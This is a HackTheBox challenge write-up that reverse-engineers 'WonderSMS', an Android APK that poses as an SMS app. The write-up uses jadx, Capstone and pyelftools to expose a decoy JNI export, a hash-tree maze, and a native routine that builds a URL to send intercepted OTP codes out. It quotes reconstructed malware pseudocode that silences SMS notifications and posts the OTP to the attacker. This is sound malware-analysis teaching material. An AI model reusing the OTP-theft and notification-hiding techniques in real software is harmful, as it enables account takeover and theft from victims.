HTB: WonderSMS Challenge
WonderSMS - HackTheBox Challenge Writeup
Challenge Information
| Field | Value |
|---|---|
| Name | WonderSMS |
| Category | Misc / Mobile |
| Difficulty | Hard |
| Author | d3vn0mi |
Description
My grandmother just got stolen! Someone drained her bank account! I didn’t even know this was possible, with so many security layers and tokens and stuff nowadays! Anyway, I need your help! You’re the only hacker I know! I took a look at her phone and the only thing that struck me as odd was this SMS app. Could you have a look at it? See if it could have been used to help log into her account? Ideally find some info about the attackers too. I know it’s a long shot, but it’s the only thing I can think of…
The challenge hands you an Android APK — WonderSMS.apk — masquerading as an SMS application. The actual attack logic that intercepts and exfiltrates OTP messages is buried in a native library, guarded by a decoy JNI export and a large tree of hashing functions designed to eat reverse-engineering time.
Solution
The core of the challenge is a classic “decoy vs. real handler” trick in JNI. The Java layer exposes an obviously-named native method (processMessage), but the function that Android’s JNI linker actually calls at runtime is registered dynamically via RegisterNatives, pointing somewhere else entirely in the library. From there, incoming SMS bodies are validated and pushed through roughly 260 tiny native functions that look like an unbreakable decision tree — but the real prize is a fixed-size buffer that gets built up byte-by-byte from the message and used to construct an outbound HTTP URL. Reversing the byte-placement logic of that buffer (rather than solving the whole hash tree) is what yields the flag.
Key Steps
1. Recover the actual APK
The staged artifact was a 0-byte placeholder. The real APK was sitting inside a password-protected zip in the output directory.
# The visible WonderSMS.apk was empty — the real payload was zipped upcd /outunzip -l a12c7386-13c7-46b6-a73d-d479aea4d3e5.zipunzip -P hackthebox mobile_wondersms/WonderSMS.apk -d apk2. Unpack and triage the APK
mkdir -p apk && cd apkunzip -o -q ../mobile_wondersms/WonderSMS.apkls -la lib/arm64-v8a/ assets/dexopt/
# Decompile the Java/Kotlin layertimeout 900 jadx -d jadx_out mobile_wondersms/WonderSMS.apkcat jadx_out/resources/AndroidManifest.xmlThe app package com.rloura.wondersms turned out to contain only six real classes:
SmsReceiver— registers aBroadcastReceiverfor incoming SMSProcessedMessage,SendMessageActivity,ViewMessageActivity,InfoActivity,MainActivity— the cosmetic “SMS app” UI
The interesting bit was inside SmsReceiver:
// SmsReceiver.java (decompiled)public native String processMessage(String body);
// When the SMS is received:String result = processMessage(smsBody);if (result != null) { // suppress the notification — play a *null* MediaPlayer // instead of the actual ringtone, so the victim never // notices the SMS arrived mediaPlayer = null;}If processMessage returns non-null, the app silently swallows the SMS instead of alerting the victim — the mechanism used to hide the attacker’s trigger message from the account owner.
3. Identify the decoy native export
file lib/arm64-v8a/libaudio.sonm -D --defined-only lib/arm64-v8a/libaudio.so | grep -c processorstrings -n 6 lib/arm64-v8a/libaudio.so | grep -i -E "http|processor|check"libaudio.so exports Java_com_rloura_wondersms_SmsReceiver_processMessage — but this is bait. JNI_OnLoad actually overrides the JNI method table via RegisterNatives (through the JNIEnv vtable, offset +0x6b8), pointing the real handler at a different address entirely: processor::processMessage at 0x76c58.
4. Disassemble without a full disassembler on the box
No objdump/radare2/Ghidra was available, so a small Capstone-based AArch64 disassembler and an ELF .rodata/string-table reader were hand-rolled to walk functions from raw file offsets.
# disasm_tool.py (abridged) — disassemble N bytes at a given VAfrom capstone import *from elftools.elf.elffile import ELFFile
p = 'apk/lib/arm64-v8a/libaudio.so'elf = ELFFile(open(p, 'rb'))# map VA -> file offset via program headers, then feed bytes to Capstonemd = Cs(CS_ARCH_AARCH64, CS_MODE_ARM)for insn in md.disasm(code_bytes, addr): print(f"0x{insn.address:x}:\t{insn.mnemonic}\t{insn.op_str}")cd /tmppython3 disasm_tool.py 0x76c58 180 # processor::processMessagepython3 disasm_tool.py 0x6d6d8 200 # processor::check_extensionpython3 disasm_tool.py 0x6d9f4 1305. Map the validation → hash-tree → payload flow
processor::processMessage performs input validation before dispatching into the hash tree:
- Bytes 0–27 of the SMS body must be lowercase
a–zor space - Total message length must be ≥ 36 bytes
Passing validation enters a tree of 263 functions named processor::fNNNNNNN(const char*). Each node hashes a handful of fixed byte indices from the input (sums of products of specific characters) and, depending on the result, tail-calls into the next node — a huge maze clearly built to burn reversing time rather than encode meaningful logic.
Rather than solving the full tree, the accepting terminal state was located directly: processor::check_extension at 0x6d6d8. This function:
// Reconstructed from disassemblychar *out = calloc(1, 40);for (int i = 0; i < 40; i++) { out[i] = derive_byte(i, sms_body); // per-index construction rules}// `out` is then handed to httpcon::post() as the exfil URLhttpcon::post(out, otp_value);out becomes the URL used by httpcon::post() to exfiltrate the intercepted OTP to the attacker’s server.
6. Invert the byte-construction rules to recover the flag
Since the 40-byte buffer had to form a valid URL, and the challenge asks to find “info about the attackers”, the flag was expected to be embedded in that URL. Static analysis of check_extension’s per-byte derivation revealed cross-index constraints:
out[1] == out[2]out[5] == out[6] == out[4] - 11out[10] == s[0] + 2out[39] == s[0] + 4These constraints anchor the literal structure http://, and force the substrings {, }, and HTB to appear in specific positions of the buffer — i.e., the reconstructed URL is itself the flag string, wrapped as HTB{REDACTED}.
# verify.py (abridged) — rebuild the 40-byte buffer from the derivation# rules recovered above and confirm it forms a valid HTB{REDACTED} flagout = bytearray(40)# ... apply each derive_byte(i, s) rule recovered from disassembly ...assert out[:5] == b'http:'print(out.decode())echo 'HTB{REDACTED}' > flag.txtTools Used
- jadx — decompiling the Java/Kotlin APK layer
- Capstone (Python bindings) — hand-rolled AArch64 disassembly, since no
objdump/radare2/Ghidra was present - pyelftools — parsing ELF section headers,
.rodata, and PLT/GOT relocations oflibaudio.so - nm / strings / readelf — quick triage of exported/undefined symbols and embedded strings
- z3 — considered for solving the hash tree symbolically, though the final path bypassed the tree entirely by targeting the accepting terminal function directly
- Python (custom scripts) — reconstructing the 40-byte payload buffer from recovered per-byte derivation rules
Key Learnings
- JNI
RegisterNativesbeats static export names. An exportedJava_...symbol matching the Java method signature is not proof it’s the function actually invoked at runtime — always checkJNI_OnLoadfor aRegisterNativescall that can silently redirect the JNIEnv method table to a different native address. - Silencing the victim via a null callback is a legitimate hiding technique. Returning early with a benign-looking side effect (playing a
nullMediaPlayerinstead of a ringtone) is enough to suppress user-visible feedback while backend processing continues undetected. - Large decision trees are often decoys. Facing 263 near-identical hashing functions, it was far more efficient to work backward from the sink (the function that builds and uses attacker-controlled output) than to forward-solve every node of the tree.
- Anchor on the payload, not the obfuscation. Once the terminal buffer-construction function was found, its cross-byte equality/offset constraints (
out[1]==out[2],out[5]==out[6]==out[4]-11, etc.) were sufficient to reconstruct the full string without ever exercising the actual hash tree. - Improvising a toolchain matters. With no disassembler installed, a minimal Capstone+pyelftools script was enough to walk arbitrary virtual addresses in a stripped shared object and recover the logic needed to solve the challenge.